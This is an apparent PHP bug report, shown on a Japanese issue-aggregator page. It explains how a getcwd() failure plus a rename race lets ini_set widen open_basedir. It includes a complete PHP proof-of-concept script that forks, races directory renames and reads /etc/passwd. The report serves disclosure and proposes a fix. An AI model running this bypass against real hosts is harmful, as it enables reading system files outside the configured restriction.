open_basedir bypass via getcwd() failure and race condition
@iluuu1994 がすでに取り組んでいます。
2026年5月6日 から。
- 主要言語
- C
- スター
- 40.4k
- フォーク
- 8.1k
- 平均マージ
- 2日 13時間
- マージ済み PR(30日)
- 96
説明
Description
Originally reported by @mdsnins.
ZEND_INI_MH(OnUpdateBaseDir) allows narrowing of open_basedir at runtime, but not widening. It does so by expanding each path in the string passed to ini_set('open_basedir', 'path1:path2) and verifying it is a sub-path of one of the existing open_basedir paths.
expand_filepath() resolves relative paths by fetching the cwd using VCWD_GETCWD() to resolve the relative path against (when relative_to is NULL, that is). VCWD_GETCWD() can fail and return NULL in some edge-case, the common one being that the length of the CWD exceeds the buffer size, specified by MAXPATHLEN (4096 on Linux).
When VCWD_GETCWD() returns NULL, expand_filepath_with_mode() has a fallback that tries to open the relative file using VCWD_OPEN(), and letting the OS resolve the path.
This is bad for two reasons:
- When this operation succeeds,
VCWD_GETCWD()returns the unresolved path. - The true cwd is not necessary the same as
VCWD_GETCWD().VCWD_GETCWD()handles cwd for zts, where we want a thread-specific cwd, rather than one per process. So even if the lookup succeeds, we might find the wrong file.
Now, these two separate checks allow open_basedir to be circumvented with a race-condition (which we don't consider a security issue due to open_basedir not being a security setting). Another process can expand the cwd of the current process by renaming some folder such that VCWD_GETCWD() operation fails (by exceeding MAXPATHLEN), and renaming it back for VCWD_OPEN() to succeed. When adding ../ to the open_basedir paths, expand_filepath() will return the unchanged path "../", which will also pass the open_basedir check if we're currently present in a sub-folder of one of the open_basedir paths.
<?php
chdir("/tmp");
@mkdir("poc/");
chdir("poc/");
echo "original basedir: " . ini_get("open_basedir") . "\n\n";
$magic_depth = str_repeat(str_repeat("a", 249) . "/", 16);
@mkdir($magic_depth, 0755, true);
chdir($magic_depth);
$pid = pcntl_fork();
if ($pid == -1) die;
if ($pid == 0) {
for ($i = 0; $i < 20; $i++) {
$cur_basedir = ini_get("open_basedir");
ini_set("open_basedir", $cur_basedir . ":../");
}
chdir("/tmp");
chdir("../");
$passwd = @file_get_contents("etc/passwd");
if (!$passwd)
die("failed\n");
echo "content of /etc/passwd: \n";
echo $passwd;
echo "\n";
} else {
chdir("/tmp"); //go back to original dir
for ($i = 0; $i < 3000; $i++) {
rename("poc", str_repeat("x", 250));
rename(str_repeat("x", 250), "poc");
}
}
The simplest solution is to just remove the fallback in expand_filepath_with_mode(), which is incorrect to begin with.
PHP Version
-
Operating System
No response
コントリビューションガイド
はじめの一歩
- issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
- 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
- リポジトリをフォークし、ブランチを切って変更します。
- issue 番号を参照したプルリクエストを送ります。
評価
この issue はまだ評価されていません。